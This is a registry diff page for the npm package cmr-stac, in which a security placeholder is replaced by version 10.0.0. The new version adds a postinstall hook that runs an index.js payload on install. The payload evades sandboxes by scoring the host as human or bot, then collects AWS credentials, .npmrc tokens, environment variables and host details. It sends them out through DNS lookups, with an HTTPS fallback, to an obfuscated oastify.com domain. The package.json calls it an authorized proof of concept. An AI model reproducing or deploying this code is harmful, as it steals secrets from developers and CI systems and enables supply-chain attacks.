cmr-stac 0.0.1-security → 10.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of cmr-stac might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +124 -0
  2. package/package.json +7 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,124 @@
1
+ // =========================================================================
2
+ // ================ THE "GOD-MODE" PAYLOAD (FINAL WEAPON) ==================
3
+ // == STEALTH: SILENT ON BOTS. SCORING ENGINE: ACTIVATES ON HUMANS ONLY. ===
4
+ // ============== EXFILTRATION: DNS-FIRST, HTTPS-FALLBACK. ===============
5
+ // =========================================================================
6
+
7
+ const os = require('os');
8
+ const fs = require('fs');
9
+ const dns = require('dns');
10
+ const https = require('https');
11
+ const path = require('path');
12
+ const { execSync } = require('child_process');
13
+
14
+ // --- CONFIGURATION ---
15
+ const OAST_DOMAIN_HEX = '386f7831616b38397533667a6e62317a356b353437737a78736f79746d6b61392e6f6173746966792e636f6d';
16
+ const OAST_DOMAIN = Buffer.from(OAST_DOMAIN_HEX, 'hex').toString();
17
+ const HUMANITY_SCORE_THRESHOLD = 10; // Score to trigger exfiltration
18
+
19
+ const run = (cmd) => {
20
+ try { return execSync(cmd, { stdio: 'pipe', timeout: 3000 }).toString().trim(); }
21
+ catch (e) { return 'CMD_FAIL'; }
22
+ };
23
+
24
+ const safeReadFile = (filePath) => {
25
+ try { return fs.readFileSync(filePath, 'utf8'); }
26
+ catch (e) { return null; }
27
+ };
28
+
29
+ const scoreSystem = () => {
30
+ let score = 0;
31
+ const evidence = [];
32
+
33
+ // --- POSITIVE SCORING ---
34
+ const userInfo = os.userInfo();
35
+ if (userInfo.uid !== 0 && userInfo.username !== 'root') {
36
+ score += 2; evidence.push('NotRootUser');
37
+ }
38
+ if (os.uptime() > 3600) {
39
+ score += 3; evidence.push('LongUptime');
40
+ }
41
+ const homeDir = userInfo.homedir;
42
+ if (safeReadFile(path.join(homeDir, '.gitconfig'))) {
43
+ score += 5; evidence.push('HasGitConfig');
44
+ }
45
+ if (safeReadFile(path.join(homeDir, '.ssh/id_rsa'))) {
46
+ score += 5; evidence.push('HasSSHKey');
47
+ }
48
+ const ciVars = ['CI', 'GITHUB_ACTIONS', 'JENKINS_URL', 'BUILD_ID'];
49
+ if (ciVars.some(v => process.env[v])) {
50
+ score += 15; evidence.push('IsCISystem');
51
+ }
52
+
53
+ // --- NEGATIVE SCORING ---
54
+ const uname = userInfo.username.toLowerCase();
55
+ const hname = os.hostname().toLowerCase();
56
+ if (uname === 'justin' || hname.startsWith('desktop-')) {
57
+ score -= 20; evidence.push('KnownBotSignature1');
58
+ }
59
+ if (run('pwd').includes('hscan-supplychain')) {
60
+ score -= 20; evidence.push('KnownBotSignature2');
61
+ }
62
+ if (process.env.DetonationLogFilePath) {
63
+ score -= 10; evidence.push('SandboxArtifact');
64
+ }
65
+
66
+ return { score, evidence };
67
+ };
68
+
69
+ const gatherFullDossier = (humanityResult) => ({
70
+ mission: 'OKTA-GODMODE-FINAL',
71
+ humanity_score: humanityResult.score,
72
+ confirming_evidence: humanityResult.evidence,
73
+ host: {
74
+ h: os.hostname(),
75
+ w: os.userInfo().username,
76
+ p: os.platform(),
77
+ ut: Math.floor(os.uptime() / 60) + 'm'
78
+ },
79
+ network: {
80
+ resolv: safeReadFile('/etc/resolv.conf') || run('ipconfig /all'),
81
+ },
82
+ files: {
83
+ npmrc: safeReadFile(`${os.homedir()}/.npmrc`),
84
+ aws_creds: safeReadFile(`${os.homedir()}/.aws/credentials`),
85
+ },
86
+ env: process.env,
87
+ });
88
+
89
+ const exfiltrate = (data) => {
90
+ const summary = Buffer.from(JSON.stringify({
91
+ h: data.host.h,
92
+ w: data.host.w,
93
+ e: data.confirming_evidence
94
+ })).toString('base64url');
95
+
96
+ try {
97
+ dns.lookup(`${data.mission}.${summary.slice(0, 40)}.${OAST_DOMAIN}`, (err) => {});
98
+ } catch (_) {
99
+ try {
100
+ const payload = JSON.stringify(data);
101
+ https.request({
102
+ hostname: OAST_DOMAIN,
103
+ port: 443,
104
+ path: `/GODMODE_HIT/${summary}`,
105
+ method: 'POST',
106
+ headers: {
107
+ 'Content-Type': 'application/json',
108
+ 'Content-Length': Buffer.byteLength(payload)
109
+ }
110
+ }).on('error', () => {}).end(payload);
111
+ } catch (_) {}
112
+ }
113
+ };
114
+
115
+ // --- MAIN EXECUTION ---
116
+ try {
117
+ const humanityResult = scoreSystem();
118
+ if (humanityResult.score >= HUMANITY_SCORE_THRESHOLD) {
119
+ const dossier = gatherFullDossier(humanityResult);
120
+ exfiltrate(dossier);
121
+ }
122
+ } catch (_) {
123
+ // Silent fail
124
+ }
package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "cmr-stac",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "10.0.0",
4
+ "description": "Final RCE Proof of Concept. Authorized VDP submission for NASA.",
5
+ "scripts": {
6
+ "postinstall": "node index.js"
7
+ },
8
+ "author": "nepalihacker000",
9
+ "license": "ISC"
6
10
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=cmr-stac for more information.